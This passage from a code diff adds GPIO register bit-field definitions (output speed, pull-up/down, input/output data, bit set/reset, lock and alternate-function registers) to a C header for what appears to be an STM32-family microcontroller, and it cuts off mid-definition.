GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x20000000 */ +#define GPIO_OSPEEDR_OSPEED15_Pos (30UL) +#define GPIO_OSPEEDR_OSPEED15_Msk (0x3UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0xC0000000 */ +#define GPIO_OSPEEDR_OSPEED15 GPIO_OSPEEDR_OSPEED15_Msk +#define GPIO_OSPEEDR_OSPEED15_0 (0x1UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x40000000 */ +#define GPIO_OSPEEDR_OSPEED15_1 (0x2UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_PUPDR register *****************/ +#define GPIO_PUPDR_PUPD0_Pos (0UL) +#define GPIO_PUPDR_PUPD0_Msk (0x3UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000003 */ +#define GPIO_PUPDR_PUPD0 GPIO_PUPDR_PUPD0_Msk +#define GPIO_PUPDR_PUPD0_0 (0x1UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000001 */ +#define GPIO_PUPDR_PUPD0_1 (0x2UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000002 */ +#define GPIO_PUPDR_PUPD1_Pos (2UL) +#define GPIO_PUPDR_PUPD1_Msk (0x3UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x0000000C */ +#define GPIO_PUPDR_PUPD1 GPIO_PUPDR_PUPD1_Msk +#define GPIO_PUPDR_PUPD1_0 (0x1UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000004 */ +#define GPIO_PUPDR_PUPD1_1 (0x2UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x00000008 */ +#define GPIO_PUPDR_PUPD2_Pos (4UL) +#define GPIO_PUPDR_PUPD2_Msk (0x3UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000030 */ +#define GPIO_PUPDR_PUPD2 GPIO_PUPDR_PUPD2_Msk +#define GPIO_PUPDR_PUPD2_0 (0x1UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000010 */ +#define GPIO_PUPDR_PUPD2_1 (0x2UL << GPIO_PUPDR_PUPD2_Pos) /*!< 0x00000020 */ +#define GPIO_PUPDR_PUPD3_Pos (6UL) +#define GPIO_PUPDR_PUPD3_Msk (0x3UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x000000C0 */ +#define GPIO_PUPDR_PUPD3 GPIO_PUPDR_PUPD3_Msk +#define GPIO_PUPDR_PUPD3_0 (0x1UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000040 */ +#define GPIO_PUPDR_PUPD3_1 (0x2UL << GPIO_PUPDR_PUPD3_Pos) /*!< 0x00000080 */ +#define GPIO_PUPDR_PUPD4_Pos (8UL) +#define GPIO_PUPDR_PUPD4_Msk (0x3UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000300 */ +#define GPIO_PUPDR_PUPD4 GPIO_PUPDR_PUPD4_Msk +#define GPIO_PUPDR_PUPD4_0 (0x1UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000100 */ +#define GPIO_PUPDR_PUPD4_1 (0x2UL << GPIO_PUPDR_PUPD4_Pos) /*!< 0x00000200 */ +#define GPIO_PUPDR_PUPD5_Pos (10UL) +#define GPIO_PUPDR_PUPD5_Msk (0x3UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000C00 */ +#define GPIO_PUPDR_PUPD5 GPIO_PUPDR_PUPD5_Msk +#define GPIO_PUPDR_PUPD5_0 (0x1UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000400 */ +#define GPIO_PUPDR_PUPD5_1 (0x2UL << GPIO_PUPDR_PUPD5_Pos) /*!< 0x00000800 */ +#define GPIO_PUPDR_PUPD6_Pos (12UL) +#define GPIO_PUPDR_PUPD6_Msk (0x3UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00003000 */ +#define GPIO_PUPDR_PUPD6 GPIO_PUPDR_PUPD6_Msk +#define GPIO_PUPDR_PUPD6_0 (0x1UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00001000 */ +#define GPIO_PUPDR_PUPD6_1 (0x2UL << GPIO_PUPDR_PUPD6_Pos) /*!< 0x00002000 */ +#define GPIO_PUPDR_PUPD7_Pos (14UL) +#define GPIO_PUPDR_PUPD7_Msk (0x3UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x0000C000 */ +#define GPIO_PUPDR_PUPD7 GPIO_PUPDR_PUPD7_Msk +#define GPIO_PUPDR_PUPD7_0 (0x1UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00004000 */ +#define GPIO_PUPDR_PUPD7_1 (0x2UL << GPIO_PUPDR_PUPD7_Pos) /*!< 0x00008000 */ +#define GPIO_PUPDR_PUPD8_Pos (16UL) +#define GPIO_PUPDR_PUPD8_Msk (0x3UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00030000 */ +#define GPIO_PUPDR_PUPD8 GPIO_PUPDR_PUPD8_Msk +#define GPIO_PUPDR_PUPD8_0 (0x1UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00010000 */ +#define GPIO_PUPDR_PUPD8_1 (0x2UL << GPIO_PUPDR_PUPD8_Pos) /*!< 0x00020000 */ +#define GPIO_PUPDR_PUPD9_Pos (18UL) +#define GPIO_PUPDR_PUPD9_Msk (0x3UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x000C0000 */ +#define GPIO_PUPDR_PUPD9 GPIO_PUPDR_PUPD9_Msk +#define GPIO_PUPDR_PUPD9_0 (0x1UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00040000 */ +#define GPIO_PUPDR_PUPD9_1 (0x2UL << GPIO_PUPDR_PUPD9_Pos) /*!< 0x00080000 */ +#define GPIO_PUPDR_PUPD10_Pos (20UL) +#define GPIO_PUPDR_PUPD10_Msk (0x3UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00300000 */ +#define GPIO_PUPDR_PUPD10 GPIO_PUPDR_PUPD10_Msk +#define GPIO_PUPDR_PUPD10_0 (0x1UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00100000 */ +#define GPIO_PUPDR_PUPD10_1 (0x2UL << GPIO_PUPDR_PUPD10_Pos) /*!< 0x00200000 */ +#define GPIO_PUPDR_PUPD11_Pos (22UL) +#define GPIO_PUPDR_PUPD11_Msk (0x3UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00C00000 */ +#define GPIO_PUPDR_PUPD11 GPIO_PUPDR_PUPD11_Msk +#define GPIO_PUPDR_PUPD11_0 (0x1UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00400000 */ +#define GPIO_PUPDR_PUPD11_1 (0x2UL << GPIO_PUPDR_PUPD11_Pos) /*!< 0x00800000 */ +#define GPIO_PUPDR_PUPD12_Pos (24UL) +#define GPIO_PUPDR_PUPD12_Msk (0x3UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x03000000 */ +#define GPIO_PUPDR_PUPD12 GPIO_PUPDR_PUPD12_Msk +#define GPIO_PUPDR_PUPD12_0 (0x1UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x01000000 */ +#define GPIO_PUPDR_PUPD12_1 (0x2UL << GPIO_PUPDR_PUPD12_Pos) /*!< 0x02000000 */ +#define GPIO_PUPDR_PUPD13_Pos (26UL) +#define GPIO_PUPDR_PUPD13_Msk (0x3UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x0C000000 */ +#define GPIO_PUPDR_PUPD13 GPIO_PUPDR_PUPD13_Msk +#define GPIO_PUPDR_PUPD13_0 (0x1UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x04000000 */ +#define GPIO_PUPDR_PUPD13_1 (0x2UL << GPIO_PUPDR_PUPD13_Pos) /*!< 0x08000000 */ +#define GPIO_PUPDR_PUPD14_Pos (28UL) +#define GPIO_PUPDR_PUPD14_Msk (0x3UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x30000000 */ +#define GPIO_PUPDR_PUPD14 GPIO_PUPDR_PUPD14_Msk +#define GPIO_PUPDR_PUPD14_0 (0x1UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x10000000 */ +#define GPIO_PUPDR_PUPD14_1 (0x2UL << GPIO_PUPDR_PUPD14_Pos) /*!< 0x20000000 */ +#define GPIO_PUPDR_PUPD15_Pos (30UL) +#define GPIO_PUPDR_PUPD15_Msk (0x3UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0xC0000000 */ +#define GPIO_PUPDR_PUPD15 GPIO_PUPDR_PUPD15_Msk +#define GPIO_PUPDR_PUPD15_0 (0x1UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x40000000 */ +#define GPIO_PUPDR_PUPD15_1 (0x2UL << GPIO_PUPDR_PUPD15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_IDR register *******************/ +#define GPIO_IDR_ID0_Pos (0UL) +#define GPIO_IDR_ID0_Msk (0x1UL << GPIO_IDR_ID0_Pos) /*!< 0x00000001 */ +#define GPIO_IDR_ID0 GPIO_IDR_ID0_Msk +#define GPIO_IDR_ID1_Pos (1UL) +#define GPIO_IDR_ID1_Msk (0x1UL << GPIO_IDR_ID1_Pos) /*!< 0x00000002 */ +#define GPIO_IDR_ID1 GPIO_IDR_ID1_Msk +#define GPIO_IDR_ID2_Pos (2UL) +#define GPIO_IDR_ID2_Msk (0x1UL << GPIO_IDR_ID2_Pos) /*!< 0x00000004 */ +#define GPIO_IDR_ID2 GPIO_IDR_ID2_Msk +#define GPIO_IDR_ID3_Pos (3UL) +#define GPIO_IDR_ID3_Msk (0x1UL << GPIO_IDR_ID3_Pos) /*!< 0x00000008 */ +#define GPIO_IDR_ID3 GPIO_IDR_ID3_Msk +#define GPIO_IDR_ID4_Pos (4UL) +#define GPIO_IDR_ID4_Msk (0x1UL << GPIO_IDR_ID4_Pos) /*!< 0x00000010 */ +#define GPIO_IDR_ID4 GPIO_IDR_ID4_Msk +#define GPIO_IDR_ID5_Pos (5UL) +#define GPIO_IDR_ID5_Msk (0x1UL << GPIO_IDR_ID5_Pos) /*!< 0x00000020 */ +#define GPIO_IDR_ID5 GPIO_IDR_ID5_Msk +#define GPIO_IDR_ID6_Pos (6UL) +#define GPIO_IDR_ID6_Msk (0x1UL << GPIO_IDR_ID6_Pos) /*!< 0x00000040 */ +#define GPIO_IDR_ID6 GPIO_IDR_ID6_Msk +#define GPIO_IDR_ID7_Pos (7UL) +#define GPIO_IDR_ID7_Msk (0x1UL << GPIO_IDR_ID7_Pos) /*!< 0x00000080 */ +#define GPIO_IDR_ID7 GPIO_IDR_ID7_Msk +#define GPIO_IDR_ID8_Pos (8UL) +#define GPIO_IDR_ID8_Msk (0x1UL << GPIO_IDR_ID8_Pos) /*!< 0x00000100 */ +#define GPIO_IDR_ID8 GPIO_IDR_ID8_Msk +#define GPIO_IDR_ID9_Pos (9UL) +#define GPIO_IDR_ID9_Msk (0x1UL << GPIO_IDR_ID9_Pos) /*!< 0x00000200 */ +#define GPIO_IDR_ID9 GPIO_IDR_ID9_Msk +#define GPIO_IDR_ID10_Pos (10UL) +#define GPIO_IDR_ID10_Msk (0x1UL << GPIO_IDR_ID10_Pos) /*!< 0x00000400 */ +#define GPIO_IDR_ID10 GPIO_IDR_ID10_Msk +#define GPIO_IDR_ID11_Pos (11UL) +#define GPIO_IDR_ID11_Msk (0x1UL << GPIO_IDR_ID11_Pos) /*!< 0x00000800 */ +#define GPIO_IDR_ID11 GPIO_IDR_ID11_Msk +#define GPIO_IDR_ID12_Pos (12UL) +#define GPIO_IDR_ID12_Msk (0x1UL << GPIO_IDR_ID12_Pos) /*!< 0x00001000 */ +#define GPIO_IDR_ID12 GPIO_IDR_ID12_Msk +#define GPIO_IDR_ID13_Pos (13UL) +#define GPIO_IDR_ID13_Msk (0x1UL << GPIO_IDR_ID13_Pos) /*!< 0x00002000 */ +#define GPIO_IDR_ID13 GPIO_IDR_ID13_Msk +#define GPIO_IDR_ID14_Pos (14UL) +#define GPIO_IDR_ID14_Msk (0x1UL << GPIO_IDR_ID14_Pos) /*!< 0x00004000 */ +#define GPIO_IDR_ID14 GPIO_IDR_ID14_Msk +#define GPIO_IDR_ID15_Pos (15UL) +#define GPIO_IDR_ID15_Msk (0x1UL << GPIO_IDR_ID15_Pos) /*!< 0x00008000 */ +#define GPIO_IDR_ID15 GPIO_IDR_ID15_Msk + +/****************** Bits definition for GPIO_ODR register *******************/ +#define GPIO_ODR_OD0_Pos (0UL) +#define GPIO_ODR_OD0_Msk (0x1UL << GPIO_ODR_OD0_Pos) /*!< 0x00000001 */ +#define GPIO_ODR_OD0 GPIO_ODR_OD0_Msk +#define GPIO_ODR_OD1_Pos (1UL) +#define GPIO_ODR_OD1_Msk (0x1UL << GPIO_ODR_OD1_Pos) /*!< 0x00000002 */ +#define GPIO_ODR_OD1 GPIO_ODR_OD1_Msk +#define GPIO_ODR_OD2_Pos (2UL) +#define GPIO_ODR_OD2_Msk (0x1UL << GPIO_ODR_OD2_Pos) /*!< 0x00000004 */ +#define GPIO_ODR_OD2 GPIO_ODR_OD2_Msk +#define GPIO_ODR_OD3_Pos (3UL) +#define GPIO_ODR_OD3_Msk (0x1UL << GPIO_ODR_OD3_Pos) /*!< 0x00000008 */ +#define GPIO_ODR_OD3 GPIO_ODR_OD3_Msk +#define GPIO_ODR_OD4_Pos (4UL) +#define GPIO_ODR_OD4_Msk (0x1UL << GPIO_ODR_OD4_Pos) /*!< 0x00000010 */ +#define GPIO_ODR_OD4 GPIO_ODR_OD4_Msk +#define GPIO_ODR_OD5_Pos (5UL) +#define GPIO_ODR_OD5_Msk (0x1UL << GPIO_ODR_OD5_Pos) /*!< 0x00000020 */ +#define GPIO_ODR_OD5 GPIO_ODR_OD5_Msk +#define GPIO_ODR_OD6_Pos (6UL) +#define GPIO_ODR_OD6_Msk (0x1UL << GPIO_ODR_OD6_Pos) /*!< 0x00000040 */ +#define GPIO_ODR_OD6 GPIO_ODR_OD6_Msk +#define GPIO_ODR_OD7_Pos (7UL) +#define GPIO_ODR_OD7_Msk (0x1UL << GPIO_ODR_OD7_Pos) /*!< 0x00000080 */ +#define GPIO_ODR_OD7 GPIO_ODR_OD7_Msk +#define GPIO_ODR_OD8_Pos (8UL) +#define GPIO_ODR_OD8_Msk (0x1UL << GPIO_ODR_OD8_Pos) /*!< 0x00000100 */ +#define GPIO_ODR_OD8 GPIO_ODR_OD8_Msk +#define GPIO_ODR_OD9_Pos (9UL) +#define GPIO_ODR_OD9_Msk (0x1UL << GPIO_ODR_OD9_Pos) /*!< 0x00000200 */ +#define GPIO_ODR_OD9 GPIO_ODR_OD9_Msk +#define GPIO_ODR_OD10_Pos (10UL) +#define GPIO_ODR_OD10_Msk (0x1UL << GPIO_ODR_OD10_Pos) /*!< 0x00000400 */ +#define GPIO_ODR_OD10 GPIO_ODR_OD10_Msk +#define GPIO_ODR_OD11_Pos (11UL) +#define GPIO_ODR_OD11_Msk (0x1UL << GPIO_ODR_OD11_Pos) /*!< 0x00000800 */ +#define GPIO_ODR_OD11 GPIO_ODR_OD11_Msk +#define GPIO_ODR_OD12_Pos (12UL) +#define GPIO_ODR_OD12_Msk (0x1UL << GPIO_ODR_OD12_Pos) /*!< 0x00001000 */ +#define GPIO_ODR_OD12 GPIO_ODR_OD12_Msk +#define GPIO_ODR_OD13_Pos (13UL) +#define GPIO_ODR_OD13_Msk (0x1UL << GPIO_ODR_OD13_Pos) /*!< 0x00002000 */ +#define GPIO_ODR_OD13 GPIO_ODR_OD13_Msk +#define GPIO_ODR_OD14_Pos (14UL) +#define GPIO_ODR_OD14_Msk (0x1UL << GPIO_ODR_OD14_Pos) /*!< 0x00004000 */ +#define GPIO_ODR_OD14 GPIO_ODR_OD14_Msk +#define GPIO_ODR_OD15_Pos (15UL) +#define GPIO_ODR_OD15_Msk (0x1UL << GPIO_ODR_OD15_Pos) /*!< 0x00008000 */ +#define GPIO_ODR_OD15 GPIO_ODR_OD15_Msk + +/****************** Bits definition for GPIO_BSRR register ******************/ +#define GPIO_BSRR_BS0_Pos (0UL) +#define GPIO_BSRR_BS0_Msk (0x1UL << GPIO_BSRR_BS0_Pos) /*!< 0x00000001 */ +#define GPIO_BSRR_BS0 GPIO_BSRR_BS0_Msk +#define GPIO_BSRR_BS1_Pos (1UL) +#define GPIO_BSRR_BS1_Msk (0x1UL << GPIO_BSRR_BS1_Pos) /*!< 0x00000002 */ +#define GPIO_BSRR_BS1 GPIO_BSRR_BS1_Msk +#define GPIO_BSRR_BS2_Pos (2UL) +#define GPIO_BSRR_BS2_Msk (0x1UL << GPIO_BSRR_BS2_Pos) /*!< 0x00000004 */ +#define GPIO_BSRR_BS2 GPIO_BSRR_BS2_Msk +#define GPIO_BSRR_BS3_Pos (3UL) +#define GPIO_BSRR_BS3_Msk (0x1UL << GPIO_BSRR_BS3_Pos) /*!< 0x00000008 */ +#define GPIO_BSRR_BS3 GPIO_BSRR_BS3_Msk +#define GPIO_BSRR_BS4_Pos (4UL) +#define GPIO_BSRR_BS4_Msk (0x1UL << GPIO_BSRR_BS4_Pos) /*!< 0x00000010 */ +#define GPIO_BSRR_BS4 GPIO_BSRR_BS4_Msk +#define GPIO_BSRR_BS5_Pos (5UL) +#define GPIO_BSRR_BS5_Msk (0x1UL << GPIO_BSRR_BS5_Pos) /*!< 0x00000020 */ +#define GPIO_BSRR_BS5 GPIO_BSRR_BS5_Msk +#define GPIO_BSRR_BS6_Pos (6UL) +#define GPIO_BSRR_BS6_Msk (0x1UL << GPIO_BSRR_BS6_Pos) /*!< 0x00000040 */ +#define GPIO_BSRR_BS6 GPIO_BSRR_BS6_Msk +#define GPIO_BSRR_BS7_Pos (7UL) +#define GPIO_BSRR_BS7_Msk (0x1UL << GPIO_BSRR_BS7_Pos) /*!< 0x00000080 */ +#define GPIO_BSRR_BS7 GPIO_BSRR_BS7_Msk +#define GPIO_BSRR_BS8_Pos (8UL) +#define GPIO_BSRR_BS8_Msk (0x1UL << GPIO_BSRR_BS8_Pos) /*!< 0x00000100 */ +#define GPIO_BSRR_BS8 GPIO_BSRR_BS8_Msk +#define GPIO_BSRR_BS9_Pos (9UL) +#define GPIO_BSRR_BS9_Msk (0x1UL << GPIO_BSRR_BS9_Pos) /*!< 0x00000200 */ +#define GPIO_BSRR_BS9 GPIO_BSRR_BS9_Msk +#define GPIO_BSRR_BS10_Pos (10UL) +#define GPIO_BSRR_BS10_Msk (0x1UL << GPIO_BSRR_BS10_Pos) /*!< 0x00000400 */ +#define GPIO_BSRR_BS10 GPIO_BSRR_BS10_Msk +#define GPIO_BSRR_BS11_Pos (11UL) +#define GPIO_BSRR_BS11_Msk (0x1UL << GPIO_BSRR_BS11_Pos) /*!< 0x00000800 */ +#define GPIO_BSRR_BS11 GPIO_BSRR_BS11_Msk +#define GPIO_BSRR_BS12_Pos (12UL) +#define GPIO_BSRR_BS12_Msk (0x1UL << GPIO_BSRR_BS12_Pos) /*!< 0x00001000 */ +#define GPIO_BSRR_BS12 GPIO_BSRR_BS12_Msk +#define GPIO_BSRR_BS13_Pos (13UL) +#define GPIO_BSRR_BS13_Msk (0x1UL << GPIO_BSRR_BS13_Pos) /*!< 0x00002000 */ +#define GPIO_BSRR_BS13 GPIO_BSRR_BS13_Msk +#define GPIO_BSRR_BS14_Pos (14UL) +#define GPIO_BSRR_BS14_Msk (0x1UL << GPIO_BSRR_BS14_Pos) /*!< 0x00004000 */ +#define GPIO_BSRR_BS14 GPIO_BSRR_BS14_Msk +#define GPIO_BSRR_BS15_Pos (15UL) +#define GPIO_BSRR_BS15_Msk (0x1UL << GPIO_BSRR_BS15_Pos) /*!< 0x00008000 */ +#define GPIO_BSRR_BS15 GPIO_BSRR_BS15_Msk +#define GPIO_BSRR_BR0_Pos (16UL) +#define GPIO_BSRR_BR0_Msk (0x1UL << GPIO_BSRR_BR0_Pos) /*!< 0x00010000 */ +#define GPIO_BSRR_BR0 GPIO_BSRR_BR0_Msk +#define GPIO_BSRR_BR1_Pos (17UL) +#define GPIO_BSRR_BR1_Msk (0x1UL << GPIO_BSRR_BR1_Pos) /*!< 0x00020000 */ +#define GPIO_BSRR_BR1 GPIO_BSRR_BR1_Msk +#define GPIO_BSRR_BR2_Pos (18UL) +#define GPIO_BSRR_BR2_Msk (0x1UL << GPIO_BSRR_BR2_Pos) /*!< 0x00040000 */ +#define GPIO_BSRR_BR2 GPIO_BSRR_BR2_Msk +#define GPIO_BSRR_BR3_Pos (19UL) +#define GPIO_BSRR_BR3_Msk (0x1UL << GPIO_BSRR_BR3_Pos) /*!< 0x00080000 */ +#define GPIO_BSRR_BR3 GPIO_BSRR_BR3_Msk +#define GPIO_BSRR_BR4_Pos (20UL) +#define GPIO_BSRR_BR4_Msk (0x1UL << GPIO_BSRR_BR4_Pos) /*!< 0x00100000 */ +#define GPIO_BSRR_BR4 GPIO_BSRR_BR4_Msk +#define GPIO_BSRR_BR5_Pos (21UL) +#define GPIO_BSRR_BR5_Msk (0x1UL << GPIO_BSRR_BR5_Pos) /*!< 0x00200000 */ +#define GPIO_BSRR_BR5 GPIO_BSRR_BR5_Msk +#define GPIO_BSRR_BR6_Pos (22UL) +#define GPIO_BSRR_BR6_Msk (0x1UL << GPIO_BSRR_BR6_Pos) /*!< 0x00400000 */ +#define GPIO_BSRR_BR6 GPIO_BSRR_BR6_Msk +#define GPIO_BSRR_BR7_Pos (23UL) +#define GPIO_BSRR_BR7_Msk (0x1UL << GPIO_BSRR_BR7_Pos) /*!< 0x00800000 */ +#define GPIO_BSRR_BR7 GPIO_BSRR_BR7_Msk +#define GPIO_BSRR_BR8_Pos (24UL) +#define GPIO_BSRR_BR8_Msk (0x1UL << GPIO_BSRR_BR8_Pos) /*!< 0x01000000 */ +#define GPIO_BSRR_BR8 GPIO_BSRR_BR8_Msk +#define GPIO_BSRR_BR9_Pos (25UL) +#define GPIO_BSRR_BR9_Msk (0x1UL << GPIO_BSRR_BR9_Pos) /*!< 0x02000000 */ +#define GPIO_BSRR_BR9 GPIO_BSRR_BR9_Msk +#define GPIO_BSRR_BR10_Pos (26UL) +#define GPIO_BSRR_BR10_Msk (0x1UL << GPIO_BSRR_BR10_Pos) /*!< 0x04000000 */ +#define GPIO_BSRR_BR10 GPIO_BSRR_BR10_Msk +#define GPIO_BSRR_BR11_Pos (27UL) +#define GPIO_BSRR_BR11_Msk (0x1UL << GPIO_BSRR_BR11_Pos) /*!< 0x08000000 */ +#define GPIO_BSRR_BR11 GPIO_BSRR_BR11_Msk +#define GPIO_BSRR_BR12_Pos (28UL) +#define GPIO_BSRR_BR12_Msk (0x1UL << GPIO_BSRR_BR12_Pos) /*!< 0x10000000 */ +#define GPIO_BSRR_BR12 GPIO_BSRR_BR12_Msk +#define GPIO_BSRR_BR13_Pos (29UL) +#define GPIO_BSRR_BR13_Msk (0x1UL << GPIO_BSRR_BR13_Pos) /*!< 0x20000000 */ +#define GPIO_BSRR_BR13 GPIO_BSRR_BR13_Msk +#define GPIO_BSRR_BR14_Pos (30UL) +#define GPIO_BSRR_BR14_Msk (0x1UL << GPIO_BSRR_BR14_Pos) /*!< 0x40000000 */ +#define GPIO_BSRR_BR14 GPIO_BSRR_BR14_Msk +#define GPIO_BSRR_BR15_Pos (31UL) +#define GPIO_BSRR_BR15_Msk (0x1UL << GPIO_BSRR_BR15_Pos) /*!< 0x80000000 */ +#define GPIO_BSRR_BR15 GPIO_BSRR_BR15_Msk + +/****************** Bit definition for GPIO_LCKR register *********************/ +#define GPIO_LCKR_LCK0_Pos (0UL) +#define GPIO_LCKR_LCK0_Msk (0x1UL << GPIO_LCKR_LCK0_Pos) /*!< 0x00000001 */ +#define GPIO_LCKR_LCK0 GPIO_LCKR_LCK0_Msk +#define GPIO_LCKR_LCK1_Pos (1UL) +#define GPIO_LCKR_LCK1_Msk (0x1UL << GPIO_LCKR_LCK1_Pos) /*!< 0x00000002 */ +#define GPIO_LCKR_LCK1 GPIO_LCKR_LCK1_Msk +#define GPIO_LCKR_LCK2_Pos (2UL) +#define GPIO_LCKR_LCK2_Msk (0x1UL << GPIO_LCKR_LCK2_Pos) /*!< 0x00000004 */ +#define GPIO_LCKR_LCK2 GPIO_LCKR_LCK2_Msk +#define GPIO_LCKR_LCK3_Pos (3UL) +#define GPIO_LCKR_LCK3_Msk (0x1UL << GPIO_LCKR_LCK3_Pos) /*!< 0x00000008 */ +#define GPIO_LCKR_LCK3 GPIO_LCKR_LCK3_Msk +#define GPIO_LCKR_LCK4_Pos (4UL) +#define GPIO_LCKR_LCK4_Msk (0x1UL << GPIO_LCKR_LCK4_Pos) /*!< 0x00000010 */ +#define GPIO_LCKR_LCK4 GPIO_LCKR_LCK4_Msk +#define GPIO_LCKR_LCK5_Pos (5UL) +#define GPIO_LCKR_LCK5_Msk (0x1UL << GPIO_LCKR_LCK5_Pos) /*!< 0x00000020 */ +#define GPIO_LCKR_LCK5 GPIO_LCKR_LCK5_Msk +#define GPIO_LCKR_LCK6_Pos (6UL) +#define GPIO_LCKR_LCK6_Msk (0x1UL << GPIO_LCKR_LCK6_Pos) /*!< 0x00000040 */ +#define GPIO_LCKR_LCK6 GPIO_LCKR_LCK6_Msk +#define GPIO_LCKR_LCK7_Pos (7UL) +#define GPIO_LCKR_LCK7_Msk (0x1UL << GPIO_LCKR_LCK7_Pos) /*!< 0x00000080 */ +#define GPIO_LCKR_LCK7 GPIO_LCKR_LCK7_Msk +#define GPIO_LCKR_LCK8_Pos (8UL) +#define GPIO_LCKR_LCK8_Msk (0x1UL << GPIO_LCKR_LCK8_Pos) /*!< 0x00000100 */ +#define GPIO_LCKR_LCK8 GPIO_LCKR_LCK8_Msk +#define GPIO_LCKR_LCK9_Pos (9UL) +#define GPIO_LCKR_LCK9_Msk (0x1UL << GPIO_LCKR_LCK9_Pos) /*!< 0x00000200 */ +#define GPIO_LCKR_LCK9 GPIO_LCKR_LCK9_Msk +#define GPIO_LCKR_LCK10_Pos (10UL) +#define GPIO_LCKR_LCK10_Msk (0x1UL << GPIO_LCKR_LCK10_Pos) /*!< 0x00000400 */ +#define GPIO_LCKR_LCK10 GPIO_LCKR_LCK10_Msk +#define GPIO_LCKR_LCK11_Pos (11UL) +#define GPIO_LCKR_LCK11_Msk (0x1UL << GPIO_LCKR_LCK11_Pos) /*!< 0x00000800 */ +#define GPIO_LCKR_LCK11 GPIO_LCKR_LCK11_Msk +#define GPIO_LCKR_LCK12_Pos (12UL) +#define GPIO_LCKR_LCK12_Msk (0x1UL << GPIO_LCKR_LCK12_Pos) /*!< 0x00001000 */ +#define GPIO_LCKR_LCK12 GPIO_LCKR_LCK12_Msk +#define GPIO_LCKR_LCK13_Pos (13UL) +#define GPIO_LCKR_LCK13_Msk (0x1UL << GPIO_LCKR_LCK13_Pos) /*!< 0x00002000 */ +#define GPIO_LCKR_LCK13 GPIO_LCKR_LCK13_Msk +#define GPIO_LCKR_LCK14_Pos (14UL) +#define GPIO_LCKR_LCK14_Msk (0x1UL << GPIO_LCKR_LCK14_Pos) /*!< 0x00004000 */ +#define GPIO_LCKR_LCK14 GPIO_LCKR_LCK14_Msk +#define GPIO_LCKR_LCK15_Pos (15UL) +#define GPIO_LCKR_LCK15_Msk (0x1UL << GPIO_LCKR_LCK15_Pos) /*!< 0x00008000 */ +#define GPIO_LCKR_LCK15 GPIO_LCKR_LCK15_Msk +#define GPIO_LCKR_LCKK_Pos (16UL) +#define GPIO_LCKR_LCKK_Msk (0x1UL << GPIO_LCKR_LCKK_Pos) /*!< 0x00010000 */ +#define GPIO_LCKR_LCKK GPIO_LCKR_LCKK_Msk + +/****************** Bit definition for GPIO_AFRL register *********************/ +#define GPIO_AFRL_AFSEL0_Pos (0UL) +#define GPIO_AFRL_AFSEL0_Msk (0xFUL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x0000000F */ +#define GPIO_AFRL_AFSEL0 GPIO_AFRL_AFSEL0_Msk +#define GPIO_AFRL_AFSEL0_0 (0x1UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000001 */ +#define GPIO_AFRL_AFSEL0_1 (0x2UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000002 */ +#define GPIO_AFRL_AFSEL0_2 (0x4UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000004 */ +#define GPIO_AFRL_AFSEL0_3 (0x8UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000008 */ +#define GPIO_AFRL_AFSEL1_Pos (4UL) +#define GPIO_AFRL_AFSEL1_Msk (0xFUL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRL_AFSEL1 GPIO_AFRL_AFSEL1_Msk +#define GPIO_AFRL_AFSEL1_0 (0x1UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000010 */ +#define GPIO_AFRL_AFSEL1_1 (0x2UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000020 */ +#define GPIO_AFRL_AFSEL1_2 (0x4UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000040 */ +#define GPIO_AFRL_AFSEL1_3 (0x8UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000080 */ +#define GPIO_AFRL_AFSEL2_Pos (8UL) +#define GPIO_AFRL_AFSEL2_Msk (0xFUL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRL_AFSEL2 GPIO_AFRL_AFSEL2_Msk +#define GPIO_AFRL_AFSEL2_0 (0x1UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000100 */ +#define 